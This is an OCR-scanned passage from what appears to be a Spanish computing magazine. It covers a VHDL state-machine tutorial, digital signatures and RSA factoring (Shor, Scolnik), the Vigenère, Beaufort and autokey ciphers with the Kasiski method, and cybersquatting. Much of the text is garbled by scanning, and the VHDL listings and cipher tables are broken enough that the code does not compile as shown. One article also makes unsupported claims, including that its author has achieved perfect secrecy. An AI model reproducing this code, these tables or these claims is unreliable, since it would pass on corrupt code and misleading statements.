ral):

FOR ALL: ffD USE ENTITY WORK.ffD(comportamental) ;

BEGIN

--conexién de la estructura

logica: cont ffd uc PORT MAP(sq0,sql,x,log0,logl):;
££D0: £fD PORT MAP(log0,eclk,sq0,sngd);

££D1: ££fD PORT MAP(legl,clk,sql,sngl):

-=-gsefiales de salida del sistema
q0 <= sq0; -

ng0 <= snq0;

gl <= sgl;

ngl <= sngl;

END estructural:
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>>> Listado 3

ENTITY cont ffd 02 IS

--CONTrolador para FlipFlep tipo D (segunde elemento)

PORT (x: IN BIT:
z,.r: OUT BIT) ;
END cunt_ffd_ﬂ?;

ARCHITECTURE estructural OF cont ffd 02 IS
-=Arquitectura astructural del alamanto

--declaracién de componentes
COMPONENT cont_£fd 01
PORT (x,clk: IN BIT:

qﬂ;nqﬂ:ﬁl .-:I:'lﬂ{l: QT EIT] H

END COMPONENT ;
COMPONENT reloj

PORT (reloj: OUT BIT:= 'l'});

END COMPONENT ;
COMPONENT and?2

PORT (a,b: IN BIT: =z:
END COMPOMENT ;

==declaraciéon de safialas

OUT BIT);

SIGHNAL --szalidas de los biestables

sql,snqgl,sql,snql,
--sefial del releoj
clk: BIT:

--ubicacién de argquitecturas

FOR ALL: cont ffd 01 USE ENTITY WORK.cont ffd 01 (estructu-

ral) ;

FOR ALL: reloj USE ENTITY WORK.reloj(comportamental) ;
FOR ALL: and2 USE ENTITY WORK.and2 (comportamental) :

BEGIN
==conexitn de la estructura
sraloj: reloj PORT MAP(clk);

contr: cont_ffd 01 PORT MAP(x,clk,sqg0,sng0,sql,sngl);
puertaAndl: and2 PORT MAP(sq0,sngl,z);
puertaAnd2: and2 PORT MAP(sq0,sgql,r);

END estructural:

Cuando cambiamos el valor de la entrada
a {X=1}, la maquina realizard una transi-
cion y pasard a estar en el estado B, pa-
sando a valer las salidas {Z=1;R=0]. Se
trata de otro estado estable, pues hasta
que no volvamos a cambiar el valor de la
entrada, la maquina permanecerad en él.

Al cambiar la entrada al valor {X=0} nue-
vamente, la maguina reconocera la entra-
da v realizard la transicién al estado C,

donde las salidas nuevamente toman los
valores [Z7=0;R=0].

El estado C, a diferencia de los dos ante-
riores, no es tan estable, pues cualquier
entracda le hard cambiar rapidamente al
estado D, el cual a su vez adolece del

6

mismo problema. Estos dos estados tan
efimeros serdn atravesados por el autdma-
ta a gran velocidad, dependiendo de la
frecuencia de reloj utilizada en la simula-
cion. En nuestro caso particular, la transi-
cion se realizard en tan sélo veinticuatro
nanosegundos.

Seguramente muchos de vosolros os es-
taréis preguntando cudl es la utilidad de
esta mdquina de estados que acabamos
de simular. Para poder visualizarla, necesi-
to que recordéis la ALL que construimos
hace unos meses, ¥y como tenia unas
senales de control que indicaban la opera-
cidn a realizar con los datos recibidos.

Imaginemos que tenemos una instruccion

maquina en el repertorio de instrucciones
de nuestra hipotética maquina, la cual ne-
cesita de la realizacion de cuatro opera-
ciones basicas por parte de la ALU. Por
poner un ejemplo: transferencia, cilculo,
transterencia y actualizacion de contador
de programa; siendo su codificacion la si-
guiente: {transferencia=00}, [cilculo=10},
y lactualizacidn=01). La codificacion de la
instruccion en binario es 10XX, pues los
dos dltimos bits contienen informacién de
direccionamiento v no afectan al codigo
de operacion (en este caso 10),

Asi, inicialmente nuestra maquina de esta-
dos genera las senales de control “00" pa-
ra una operacion de transferencia. Al leer
el primer “1" del cadigo de operacion, pa-
sa a estado B y genera unas sefales de
control de “10” para indicar que debe re-
alizarse el computo pertinente. Tras leer
el “0" del codigo de operacion, entra en
la fase automatica en la que cualquier en-
trada le hard secuenciar por los pasos ne-
cesarios para culminar la operacidn
iniciada: cdlculo, transferencia v actualiza-
cidon del contador de programa. Este

HA LLEGADO EL MOMENTO DE
CONECTAR ESTA ESTRUCTURA,
QUE PODRIAMOS CALIFICAR CO-
MO EL CONTROLADOR DE LA MA-
QUINA DE ESTADOS, AL RELOJ Y
A LAS PUERTAS LOGICAS

ejemplo tan simple, complicado hasta ex-
tremos insospechados, seria el modo de
funcionamiento de una unidad de control
cableada.

Testbench

Para poder comprobar mas facilmente los
estados que atraviesa nuestra recién estre-
nada maquina, lo mejor sera reducir en
primer lugar la frecuencia de reloj a utili-
zar. Por ejemplo:

ENTITY: reloj IS
GEMERIC [(pericdo:
125 ns);
PORT (reloj: OUT BIT:m

TIME :m=

e L

END reloj:

ARCHITECTURE comportamental
OF reloj IS

BEGIN
FPROCESS
BEGIN
WAIT FOR perio-
dof2;
reloj <= "0";
WAIT FOR perio-=
daol2;
reloj <= '1°;



END PROCESS;
END comportamental;

Ahora ya podremos observar con mayor
detalle los distintos estados de la méqui-
na, pues ahora las transiciones tardarin
como minimo el periodo del reloj. El test-
bench que podéis usar es el siguiente:
iver Listado 4)

El mes que viene...

Este mes hemos completado el desarrollo e
implementacidn de una maquina de estados
mediante la técnica de la tabla de estados.
Dresde el nivel mds basico de los biestables
y las puertas ligicas, hemos ido construyen-
do poco a poco la unidad secuenciadora de
instrucciones, hasta llegar al circuito com-
pleto cuyo funcionamiento hemos podido
comprobar mediante la simulacidn del mis-
mo en el programa Vsystem,

A pesar de tratarse de un ejemplo muy
simplificado, este disefio en el que hemos
trabajado estos dos meses es la base de
lo que podria ser la unidad de control de
un microprocesador muy complejo; si

CUANDO CAMBIAMOS EL VALOR
DE LA ENTRADA A {X=1}, LA MA-
QUINA REALIZARA UNA TRANSI-
CION Y PASARA A ESTAR EN'EL
ESTADO B, PASANDO A VALER
LAS SALIDAS {Z=1;R=0}

bien no hay que perder de vista que la
complejidad esta a anos luz de distancia
entre ambos casos... =P

El mes que viene continuaremos exploran-
do y comprendiendo el interesante mun-
do de la arquitectura de computadores.
Como siempre, os recuerdo que en mi
blog personal tenéis disponible el cidigo
fuente del curso para cada entrega, de

torma que os poddis ahorrar el tener gque
escribir todos los archivos a mano. Tam-
bién os recuerdo que mi correo electroni-
co esta a vuestra disposicidén para
cualquier duda, pregunta o sugerencia

LTV ARQUITECTURA DE COMPUTADORES = =~

>>> Listado 4

ENTITY TB_cont ££fd 02 IS
END TB cont ffd 02;

ARCHITECTURE estructural OF TB cont ffd 02 IS
COMPOMENT Ennt_f.fd_ﬂz
PORT (x: IN BIT;
z,r: OOT BIT):
END COMPONEMNT :

FOR ALL: cont_ffd 02 USE ENTITY WORK.cont ffd 02 (estructu-
ral) ;

SIGNAL x,z.r: BIT;

BEGIN

controlador: cont ffd 02 PORT MAP(x,z,r):

PROCESS

BEGIN
® <= Iuh;
WAIT FOR 300 ns;
--Estado A: z=0 ; =0
x <= "1";
WAIT FOR 300 ns;
-=-Estado B: z=1 ; r=0
x <= '0';
WAIT FOR 300 ns;
--Estado C: z=0 ; r=0
--Estado D: z=0 ; r=1

END PROCESS;

END estructural ;

que deseéis realizar sobre el curso, jNos
leemos el proximo mes!
Ramiro Cano Gomez
death_master@hpn-sec.net
http://omniumpotentior.wordpress.com<
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Retomaremos para terminar en este niimero los pro y los
contras de la criptografia asimétrica. Primero recordaremos,

los aspectos principales de la misma, y luego les mostraré
un avance, que realmente no esta nada lejos de la realidad.
Bienvenidos una vez mas al mundo de la criptografia.

Seguridad de la firma digital
La firma digital proporciona un amplio abanico
de servicios de seguridad, entre ellos estan:

« Autenticacion: permite identificar univoca-
mente al signatario, al verificar la identidad del
tirmante, hien como signatario de documentos
en transacciones telematicas, para garantizar el
acceso a servicios distribuidos en red.

« Imposibilidad de suplantacion: el hecho de
que la firma haya sido creada por el signatario
mediante medios que mantiene bajo su propio
control (su clave privada protegida, por ejemplo,
por una contrasena, una tarjeta inteligente, etc.)
asegura, ademds, la imposibilidad de su suplanta-
cion por otro individuo, va que no posee esa
pieza inicial, por la que se creo la clave privada.

« Integridad: permite gue sea detectada cual-
quier modificacidn por pequena que sea de los
datos firmados, proporcionando asi una garantia
ante alteraciones fortuitas o deliberadas durante
el transporte, almacenamiento o manipulacién
telemdtica del documento o datos firmados.

- Mo repudio: esta caracteristica ofrece seguri-
dad de que el autor del documento no puede
retractarse en el futuro de las opiniones o ac-
ciones consignadas en él ni de haberlo enviado.
La firma digital adjunta a los datos un times-
tamp, debido a la imposibilidad de ser falsifica-
da, testimonia que él, vy solamente él, pudo
haberlo firmado.

« Auditabilidad: permite identificar y rastrear las
operaciones llevadas a cabo por el usuario den-
tro de un sistema informaético cuyo acceso se re-
aliza mediante la presentacidn de certificados,

- El acuerdo de claves secretas: garantiza la
confidencialidad de la informacion intercambia-
da ente las partes, esté firmada o no, como por
ejemplo en las transacciones seguras realizadas
a través de S5L (Secure Socket Layer).

Your www.cohn-

Computer You family.com
— request our
Public Key

® Data You Send to Us

@ : your data
Yol : using our
L ncrynt Te encrypted data is Private Key

over the internet:
yourdata | capGRARIUQI405YIMB
using our  Q3TL401YS9035
Public Key  RTYOP04U8543543Q59KJJC

Our server:

We decrypt
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Infraestructura Basica

de la firma digital (PKI)

Esta clase de Infraestructura es también conoci-
da como de "clave pablica® o por su equivalen-
te en inglés (Public Key Infrastructure, PKI).

La normativa crea el marco regulatorio para el
empleo de la Firma Digital en la instrumenta-
cidn de los actos internos del Sector Pablico
MNacional que no produzcan efectos juridicos in-
dividuales en forma directa, otorgdndole a esta
nueva tecnologia similares efectos que a la fir-
ma holégrafa.

La disposicion establece la configuracion de la
siguiente estructura:

- Organismo Licenciante (OL)

- Organismo Auditante (OA)

- Autoridad Certificada Licenciada {ACL)
- Suscriptores

Para comprobar la identidad del firmante y la
integridad del mensaje, el receptor deberd ge-
nerar la huella digital del mensaje recibido, lue-
go desencriptara la firma digital del mensaje
utilizando la clave publica del firmante v ob-
tendrd de esa forma la huella digital del mensa-
je original; si ambas huellas digitales coinciden,
significa que el mensaje no fue alterado y que
el firmante es quien dice serlo.

Como sabemos, la clave privada de la persona,
estd alojada en la PC o registrada en una tarjeta
inteligente, e identifica que un mensaje ha sido
enviado por la persona. La segunda es una cla-
ve publica, que puede ser empleada por cual
quiera que desee autenticar documentos que la
persona firme. La clave pablica 'lee' la firma di-
gital creada por la clave privada de la persona y
verifica la autenticidad de los documentos crea-
dos con la misma.

La clave privada de la persona se desbloquea
mediante una contrasefia o por tecnologias
biométricas, como la retina, una huella digital o
un rostro asociado con un registro de identidad.

Qué nos depara el futuro

El futuro, como siempre, en la criptografia, nos
depara inseguridad, es decir, hasta que no sea
implementado el secreto perfecto, habra pro-
blemas de seguridad. Mo estamos lejos de im-
plementarlo, es mas, he podido implementarlo
de manera exitosa, sdlo deben contactarse
conmigo. ;)

Pero esa, esa es otra historia.. En cuanto a lo
que esta por suceder con la criptografia asimé-
trica, el doctor Hugo Scolnik estd estudiando
seriamente la factorizacidn de nimeros enteros.

CRIPTOGRAFIA BASICA

Pl 1Y ey Leneraton

En pocas palabras, como romper claves asimé-
tricas. Interesante jnof, explicaré con mds deta-
lle de que se trata.

En prinicpio, su intento se basa en evitar princi-
palmente algo que hoy parece imposible, pero
que sin embargo yva ha sido implementado sin
inconvenientes, la computadora cudntica.

El algoritmo de Shor

Comao dije antes, con la ayuda de una computa-
dora cuantica y del algoritmo de Shor, es posi-
ble romper claves asimétricas. Pero sin ir mas
lejos, Scolnik quiere llevar a cabo esta tarea sin
necesidad de estas dos cosas,

El algoritmo de Shor es un algoritme cudntico
para descomponer en factores un nimero N en
tiempo Of(log M)3) v espacio OlogN), asi nom-
brado por Peter Shor.,

Muchas criptografias de clave publica, tales co-
mo R5A, llegarian a ser obsoletas si el algoritmo
de Shor es implementado alguna vez en una
computadora cudntica practica.

Como expliqué en articulos anteriores, un men-
saje cifrado con RSA puede ser descifrado des-
componiendo en factores la llave pablica N,
que es el producto de dos nimeros primos.

Los algoritmos cldsicos conocidos no pueden
hacer esto en tiempo Of(logM)k) para ningin k,
asi que llegan a ser rdpidamente impricticos a
medida que se aumenta M. Por el contrario, el
algoritmo de Shor puede romper RSA en tiem-
po polindmico.

COMO TODOS LOS ALGO-
RITMOS DE COMPUTA-
CION CUANTICA, EL
ALGORITMO DE SHOR ES
PROBABILISTICO: DA LA
RESPUESTA CORRECTA
CON ALTA PROBABILI-
DAD, ¥ LA PROBABILIDAD
DE FALLO PUEDE SER
DISMINUIDA REPITIENDO
EL ALGORITMO

G-



EL FUTURO, COMO SIEM-
PRE, EN LA CRIPTO-
GRAFIA, NOS DEPARA
INSEGURIDAD, ES DE-
CIR, HASTA QUE NO SEA
IMPLEMENTADO EL SE-
CRETO PERFECTO, HA-
BRA PROBLEMAS DE
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También se ha ampliado para atacar muchas
otras criptografias publicas.

Como todos los algoritmos de computacion
cudntica, el algoritmo de Shor es probabilistico:
da la respuesta correcta con alta probabilidad, v
la probabilidad de fallo puede ser disminuida
repitiendo el algoritmao,

El problema que intenta solucionar el algoritmo
es que, dado un ndmero entero N, intentamos
encontrar otro ndmero entero p entre 1 y N
que divida M.

El algoritmo de Shor consiste en dos partes:

1.Una reduccion del problema de descomponer
en factores al problema de encontrar el orden,
que se puede hacer en una computadora clasica.

2.Un algoritmo cudntico para solucionar el pro-
blerna de encontrar el orden.

Este algoritmo fue demostrado en 2001 por un
grupo en IBM, que descompuso 15 en sus fac-
tores 3 y 5, usando una computadora cudntica
con 7 qubits,

Como dije antes, la primera parte del algoritmo
convierte el problema de descomponer en fac-
tores en el problema de encontrar el periodo
de una funcidn, y como dije antes, se puede im-
plentar clisicamente.

La segunda parte encuentra el periodo usando
la transformada de Fourier cudntica, v es res-
ponsable de la aceleracién cudntica.

1.0btencidn de factores a partir del periodo:

Los nimeros enteros menores que N v copri-
mos con M forman un grupo finito bajo multipli-
cacion modulo N, que se denota tipicamente
(Z/M Z)=. Para el final del paso 3, tenemos un
nimero entero a en este grupo.



2.Encontrar el periodo

El algoritmo, para encontrar el periodo de Shor,
se basa radicalmente en la capacidad de las
computadoras cudnticas de estar en muchos es-
tados simultineamente.

Suele llamarse a este comportamiento, super-
posicion cuantica. Para computar el periodo de
una tuncian f, evaluamos la funcidén en todos
los puntos simultineamente.

Sin embargo, la fisica cuantica no permite que
tengamos acceso a toda esta informacion direc
tamente. Una medicion cudantica dard solamen-
te uno de todos los valores posibles,
destruyendo todos los otros.

Por lo tanto debe de transformarse cuidadosa-
mente la superposicién a otro estado que de-
vuelva la respuesta correcta con alta
probablidad. Esto puede llevarse a cabo usando
la transformada de Fourier cudntica.

Factorizacion de nimeros enteros
por Scolnik

El pasado 3 de diciembre en el "Il Dia Interna-
cional de la Seguridad en la Inforthacién” Scol-
nik explicéd su sistema basado en el método de
Fermat, que en la red podemos encontrar resu-
mido v demostrado comao:

Se representa un ndmero en la forma n#x*2 =
2.

Scalnik se centra en la introduccion del términe
de "target”, que define como una terna entera
(a,b,c) que ha de cumplir las condiciones:

x"2=a+c "t y"2=b+c*u.

De esta forma, si n fuera el desafic RSA76E se
cumplirian las dos igualdades:

x"2=36+ 1440 " £, y"2 =409 + 1440 " u

Queda demostrado por su aparato matemitico
gue siempre existen “targets® dnicos, cuando n
5 Impar.

También se observa que 7 = (n+a-b)/c es un en-
tero, v el truco estd, en que este valor se puede
tomar como nuevo ndmero a factorizar.

Este entero obtenido, es varios drdenes de mag-
nitud menor que n v acd estd la magia, si se ha-
ce este proceso de forma iterativa se puede
factorizar en sus primos. El trabajo se centra en
encontrar todos los cuadrados perfectos en ex-
presiones de la forma a+c*t (siendo a un resi-
duo cuadratico de c).

m CRIPTOGRAFIA BASICA

Todo estaria

bien, si no fuera
por el hecho de Ef
que no todos los
valores de ¢ son
adecuados para P { & PEAM

nuestros fines, E s
1 oy &0 8 | 0D (F=1R
por lo que hay C = MA° ANOD A

que recurrir al M= ¢ pAOD N
filtrado o a la co- e
rreccion de di-
chos valores.

Esta es una de
las principales trabas para lograr de forma direc-
ta la factorizacion de nimeros enteros y es un
asunto que hay que codificar adecuadamente
en un programa.

5i filtramos valores que no debemos, no tendre-
mos éxito y si no filtramos algo que no vale, au-
mentaremos de forma considerable el tiempo
de procesn necesario.

El método todavia no estd completo y la algorit-
mia tampoco esta lista al 100%, pero el Doctor
Scolnik mostré durante su presentacion algunos
programas muy interesantes y prometedores,
que resolvian con alta eficiencia, fragmentos
del problema y en un tiempo muy razonable.

5i Scolnik tiene éxito con su aproximacion al
problema de la factorizacion entera, se podria
factorizar cualquier clave RSA, casi con inde-
pendencia de su tamano, en un tiempo poling-
mico razonablemente corto, usando una simple
computadora de escritorio.

Conclusion

Como estamos viendo, y hemos visto en este
niimero, los tiempos de la criptografia asimétri-
ca, estan compromelidos también y seguramen-
te, muchos estén mirando en este momento a
la criptografia de curvas elipticas, como una se-
gunda opcién o alternativa. Lo cudl no es nada
descabellado, pero debemos pensar, que
quizas ya haya una respuesta también a las cur-
vas elipticas, en lo profundo de alguna mente o
grupo de mentes matemdticas. Sélo el tiempo vy
las nuevas tecnologias pueden decirnos que
vendra.

Espero que les hava gustado.
Nos vernos en el proximo ndmero.

SparkK
http://www.disidents.org
http://www.intrabytes.com
spark@disidents.org
arielrm@intrabytes.com
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Lriptografia clasica

Cifradores Polialfabéticos

En la segunda entrega de esta serie se explico el cifrado del Cesar, un sistema que cons-
taba tan solo con un alfabeto de cifrado el cual podia romperse facilmente, bien por téc-
nicas de estadisticas del lenguaje o por fuerza bruta. En esta nueva entrega veremos un

sistema de cifrado similar al del Cesar, pero que utiliza varios alfabetos de cifrado, a fin
de evitar tal debilidad de dicho sistema.

Introduccion

Como hemos explicado anteriormente, este sis-
tema utiliza dos o mas alfabetos con los cuales
cifrar el texto en claro con el fin de producir
una distribucion homogénea de las frecuencias
y que dicho sistema no pueda romperse por
técnicas del lenguaje. Es un sistema similar a los
sistemas por homdfonos, explicados en la ante-
rior entrega.

La utilizacion de un alfabeto u otro dependera

Cifrador de Vigenére

Este sistema es exactamente igual al sistema del
Cesar, con la diferencia de que el alfabeto de
cifrado viene dado por una clave que se escribe
ciclicamente en toda la longitud del mensaje, v
que por lo tanto, el sistema tendrd una perioci-
dad igual a la longitud de dicha clave, como ve-
remos a continuacion,

Teniendo los siguientes datos:

de unos criterios que solo el.emisor v el desti- M = CRIPTOGRAFIA CLASICA

natario conocerdn. Un ejemplo puede ser utili- K= CLAVE

zan el primer alfabeto para los pares y el

segundo para los impares, ha-

cer grupos de cierto ndmero

Earagteﬁseircifrénmlmpﬂ- E E i'l. ‘E’ E % E oL ; |l oA B 4 SLLIC LA
mero con un alfabeto v des- AIVIEICILIAIVIEICILIAIN

pués con los siguientes, etc.




Se puede observar que la clave se va repitiendo
una y otra vez, lo cual nos genera una perioci-
dad de 5, es decir, cada 5 caracteres la clave se
va repitiendo, lo cual no es lo mis adecuado,
porgque si nos fijamos, existen dos A que con
una diferencia entre ambas de 10 caracteres vy
que precisamente se cifran con el mismo cardc-
ter, lo cual en un texto mas largo puede ser be-
neficioso para un posible atacante.

Finalmente, el texto se cifraria del siguiente modo:

El caracter C se cifra con el caricter C: (3+3)
mod 27 = 6, es decir, el caracter F

El caracter R se cifra con el cardcter L: (19+12)
mod 27 =1, es decir, el caricter A

Finalmente obtendriamos el sigutente criptograma:

W14 4 CRIPTOGRAFIA CLASICA

Para el descifrado del mensaje, se deberia desci-
frar los N primeros caracteres del mensaje utili-
zando la clave, en el cual N es igual al nimero
de caracteres de la clave. Posteriormente, se uti-
lizaria la parte de mensaje descifrade como cla-
ve para seguir descifrando el mensaje, es decir:

Obtendriamos el fragmento “CRIFT” correspon-
diente a los 5 primeros caracteres del criptogra-
ma utilizando para ello una clave conocida, en
este caso K = CLAVE,

seguidamente, obtenemos los siguiente 5 ca-
racteres, utilizando la parte del mensaje que va
conocemos: “CRIPT", que seria “OGRAF” y asi
sucesivamente hasta descifrar el mensaje al
completo.

Cifrador de Beaufort

Este cifrador se trata de una

(FIDlJIMIYIRIRIS|IWIKILIMID[H]FIVIT]D]W]

variante simétrica del cifra-

En este tipo de sistema es importante utilizar
una clave en la cual no se repitan caracteres, ya
que el ndmero total de alfabetos de cifrado
vendra dado por el total de caracteres sin dupli-
car que se encuentren en dicha clave.

Se dispone ademds de una tabla, llamada “Ta-
bla de Vigenére” la cual permite cifrar cualquier
texto con cualguier clave, al igual que el proce-
so de descifrado conociendo dicha clave.

Este sistema emplea las siguientes ecuaciones
para cifrar y descifrar el mensaje:

C = (M(i) + K(i)) mod N
M = (C(i) - K(i)) mod N

Siendo M(i) un cardcter del mensaje en claro,
K{i) un caricter de la clave, C{i) un caricter del
criptograma v N el nimero de caracteres em-
pleados en el alfabeto utilizado

Cifrador de Autoclave

una variante del cifrador de Vigenére, el cual
utiliza para la clave el propio mensaje en claro,
anteponiendo a dicho mensaje una clave deno-
minada primaria v que resulta imprescindible
para descifrar el mensaje. Para el ejemplo ante-
rior resultaria del siguiente modo:

dor de Vigenére, lo cual
quiere decir que usa la mis-
ma ecuacion tanto para cifrar como descifrar.

Dicha ecuacion es la siguiente:
E = (K(i) - M(i)) mod N

La cual empleada en el ejemplo utilizado hasta
¢l momento, nos daria lo siguiente:

CHRILIPITIOIGIRIALE L LALC LL
CILIA|VI|E|C|LJAIVI|IE|ICILIAlV

AV

A
E|C

| L

AlTIsJulP[N[Vv][IJETZ]UTLTYTL

[ETETXTYIF ]

Puede comprobarse que se cumple la simetria,
utilizando la misma clave, el criptograma v la
misma ecuacién nos daria como resultado el
texto en claro.

Criptoanalisis. Método de Kasiski
Al utilizar varios alfabetos de cifrado aumentara
el numero de combinaciones de forma propor-
cional al numero de alfabetos utilizados e igual-
mente aumentara la entropia del sistema.

5i recordamos la segunda entrega de esta serie,
se explicd que la distancia de unidad, o la canti-
dad minima de texto que necesitamos para rea-
lizar un criptoandlisis se calculaba mediante la
siguiente ecuacion:

AISIIL |[C|A

CIR|LAPITIO|GIRIA|IFIL|A{C|L
CILIAJYIE|CIRII |PITIOIGIR]|A

FITIAJCIL ] MN=Log2(K)/D

¥ nos daria como resultado el criptograma:

Siendo K el nimero de caracteres empleados
en el alfabeto y D la redundancia del lenguaje,

para el espanol 3,4.

[E[D[IIMIY[R|Y[AJQIZ|X|H|T|M|G[B]I[FIM]




Lo cual nos daria como resultado 1,4 que si mul-
tiplicamos por el nimero total de alfabetos utili-
zados para cifrar, en el ejemplo de esta entrega
serian 5, nos daria un minimo de 7 caracteres.

Sabiendo el nimero minimo de texto que nece-
sitamos ya se puede realizar un criptoandlisis,
aunque siempre es conveniente contar con la
mayor cantidad de texto cifrado posible.

Fara un cifrador de Vigenére, en el cual la clave
se repite ciclicamente por todo el mensaje v
conociendo la longitud de la clave, se puede es-
cribir el mensaje en una tabla de la siguiente
forma:

Kil) | K@) [ K@) [ K@ | K5
C(l) C(2) Ci(3) C(4) C(5)
Cib) C(7) C(8) Ci{9) C(lm
C(n | ¢y | ciu3) | ci4d) | ¢s

Puede observarse, que los elementos de una
misma columna se cifrardn con el mismo ele-
mento de la clave, y por tanto puede conside-
rarse como un cifrador monoalfabético,
explicados en la segunda entrega de esta serie,

Esto es realmente importante, va que varios ca-
racteres iguales en la misma columna indican
que son caracteres iguales en el texto en claro
y que han sido cifrados con el mismo cardcter.

La aparicion de cadenas iguales, ya sean digra-
mas, trigramas, etc. puede indicar que la separa-

Ademads, la distancia entre los caracteres mas
frecuentes de los criptogramas deben cumplir
igualmente las distancias entre ellas de los ca-
racteres en el alfabeto en claro. Para que quede
mds claro veamos un ejemplo:

Obtenemos la siguiente tabla con las frecuen-
cias de los 5 sub criptogramas: (ver imagen 1)

La anterior tabla se trata tan solo de un caso hi-
potético de un criptograma del cual sospecha-
mos qgue cuya clave posee una longitud de 5
caracteres.

5i observamos, los su criptogramas C1,C2, C4
v C5 cumplen los criterios anteriormente co-
mentados. En cambio el C3 posee una frecuen-
ciaenla Ade 10y enla Cde 13, lo cual no
cumple dicho criterio, v por lo tanto para nues-
tro analisis la suprimiremos y utilizaremos las
otras 4.

Otro aspecto importante, es el sub criptograma
C4, en el cual hemos marcado el 6 correspon-
diente a la W, esto es debido, porque aun exis-
tiendo frecuencias mayores, estas no cumplen
las condiciones expuestas, y como 6 puede
considerarse una frecuencia alta, utilizaremos
esta considerando las otras mds altas pura ca-
sualidad o provocadas por la naturaleza de cier-
ta parte del texto.

5i tenemos en cuenta los 4 sub criptogramas y
en vista a que cumplen perfectamente las con-
diciones, podriamos suponer lo siguiente:

A|B|C|IDIE|JF|IG|IH|I|I|IK|LIMI[NIN]IO]IP|QIR]SITIUTVIWIX[Y] Z
cijio| 2] 46 e e 1 R D L R R B B T D R R T D
C2lro jo12 1416 f13j1f2l113jofof7]3(2]ojao(2]l1]lelg[3]s5[1]a]lo]
e Lo U SN e A R 1 0 o e S L e R R T R N i R R,
CAlojol1jollzlalselltlizlitalololbTlsl1]lo ZITIBl s I35]1
paj1l6fjglajsitjolaojitoliie] 24 )alpgliideirslololzlsl7rlolie]
Imagen 1

cion entre ellas sea un multiplo de la longitud
de la clave, ademas el espanol resulta un len-
guaje muy redundante y este podria ser un
buen sistema para tener una idea sobre la su-
puesta longitud de dicha clave.

Una vez conocida la longitud de la clave, pro-
cedemos como se ha explicado anteriormente,
y formamos columnas con los caracteres gue se
han cifrado con el mismo cardcter de la clave.

Estas columnas se van a tratar como sub cripto-
gramas monoalfabéticos, de tal modo que en to-
dos ellos debe cumplirse las caracteristicas del
lenguaje, es decir, deben existir 4 caracteres con
las mismas frecuencias que los AEO v S, que
son los mds frecuentes en el idioma espaiiol,

C1 - AEOS (caracteres marcados), por lo tanto,
el primer cardcter de la clave podria ser la A
C2 - BFPT - Segundo caracter de la clave: B
C4 - EISW - Cuarto Caracter de la clave: E

C5 = DLOZ - Quinto caricter de la clave: D

Es importante senalar que esto se trata de una posi-
ble clave, se padrian probar combinaciones de los
4 caracteres de cada uno de los sub criptogramas.

Obtenemos por tanto una clave: AB_ED del
cual desconocemos el tercer cardcter el cual
podria deducirse en funcion al resto de letras o
bien realizar un ataque por fuerza bruta pro-
bando todas las combinaciones de ese cardcter,
en este caso 27.

TheBlooD
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Cuando nuestro ordenador se
conecta a la red queda perfectamente
identificado v reconocido mediante un
niimero asignado conocido como direc-
cidn IP, formada por cuatro blogues
numéricos de hasta tres nimeros cada
uno (por ejemplo 194.04.13.245). Debido
a que el ser humano tiene grandes dificul-
tades para recordar cifras de mds de seis
nimeros, se disefid un sistema que susti-
tuyd la dificil tarea de memorizar una di-
reccion IP por el concepto del nombre
dominio, una forma de identificar un IP
concreta con una palabra o frase que faci-
litara su memornizacion.

Los nombres de dominio son exclusivos e
inequivocos, de modo que no pueden
existir dos nombres de dominio idénticos.
Debido a su creciente importancia y facili-
dad para ser recordados, estos comenza-
ron a ser utilizados como identificadores

comerciales, en muchos casos, sustituyen-
do a las propias marcas.

Con el tiempao, la utilizacion de los nom-
bres de dominio como identificadores co-
merciales se ha ido incrementando, a
medida que el potencial comercial de In-
ternet ha evolucionado. Como consecuen-
cia mas directa, el valor econdmico de los
dominios ha ido subiendo de forma pro-
gresiva, por ser estos cada vez mas codi-
ciados por las empresas o, dicho de otro
modo, la ley la oterta v la demanda.

Y es que normalmente una empresa tra-
tara de elegir como nombre de dominio
aquel que identifique sus signos distinti-
vos, Puede decirse que el nombre de do-
minio es el rotulo de un establecimiento
virtual. Es la marca que llevan los produc-
tos en la Red o el nombre comercial, ¥ 16-
gicamente, la empresa que tenga
registrado esos signos distintivos en los
Registros Oficiales [por ejemplo en la Ofi-
cina Espanola de Patentes y Marcas
http://www.oepm.es) también estard inte-
resada en registrar como nombre de do-
minio aquel que identifique sus signos
distintivos, un nombre de dominio cono-
cido o deducible de su nombre o marca
que facilite su identificacidn en la Red,

..... o)
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que haga mas sencilla la basqueda v dar-
S8 3 Conocer,

Las problemas comenzaron en el mo-
mento en el que algunas personas y em-
presas intentaron registrar sus marcas
como nombres de dominio infructuosa-
mente va que se enconiraron con que es-
tos vya habfan sido registrados
previamente, de forma sospechosamente
calculada (cuando no malintencionada),
por terceros con poco o ningdn derecho
sobre estas designaciones.

MNacia en aquel instante lo que algunos
han llamado un nuevo modelo de nego-
cio, pero que ha sido duramente criticado
por otros que adivinan un sistema que
vulnera sus derechos, un registro anticipa-
do tanto de marcas como de nombres de
dominio, efectuado por terceros, de mala
fe, v que ha sido definido por la OMPI
(Organizacion Mundial de la Propiedad
Intelectual) con el nombre de “ciberocu-
pacidn indebida”, también conocido por
su nombre original como cybersquatting.

Tonto el dltimo

El término cybersquatting se origind de la
palabra “squat” que en inglés significa
ocupar ilegalmente sin el conocimiento o

"N dominio

eu

-~

El dominie eu ha sido victima reclente de cybersquatting.
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DailyChanges ofrece informacion publica de fos dominios nusves registrados. GUNAS PERSONAS Y EMPRESAS
INTENTARON REGISTRAR SUS

MARCAS COMO NOMBRES DE
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: sas v a las fuertes inversiones que. estas
realizan en su promocion publicitarias en
Internel.

El cybersquatter o ciberocupa se aprove-
cha de las lagunas legales que existen en
este dmbito. En realidad se aprovechan
del sistema de registros existente que no
ha variado en los dltimos anos y que esta-
blece que el registro de nombres de do-
minio funciona por estricto orden de
solicitud. El término que se utiliza en
inglés es claro v contundente “first come,
first serve rule”, esto es, el primero gue
llega, registra el dominio, o lo que viene
siendo en cristiano “tonto el dltimo”,

Asi, los ciberocupas pueden registrar
nombres de marcas, personalidades v em-
presas con las que no tienen ninguna rela-
cion, con el objetivo de venderlos luego a
los titulares de dichos derechos a un pre-
cio mayor que el costo del registro, obte-
niendo de esta forma un beneficio
economico que algunos traducen como
una forma de extorsidgn al titular de la
marca 0 nombre en cuestion, ya que algu-
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nos prefieren pagar al responsable del re-
gistro malicioso una suma menor a la que
implicaria un procedimiento legal.

¥ es que registrar un nombre de dominio
es sorprendentemente sencillo (especial-
mente en los dominios abiertos, como los
COM, NET v .ORG) y econdmico. Se ha
dado incluso el caso puntual de haber si-
do gratuito durante ciertos periodos de
tiempo (como con el registro de los domi-
nios “ar” argentinos o el “.es"” espanol).
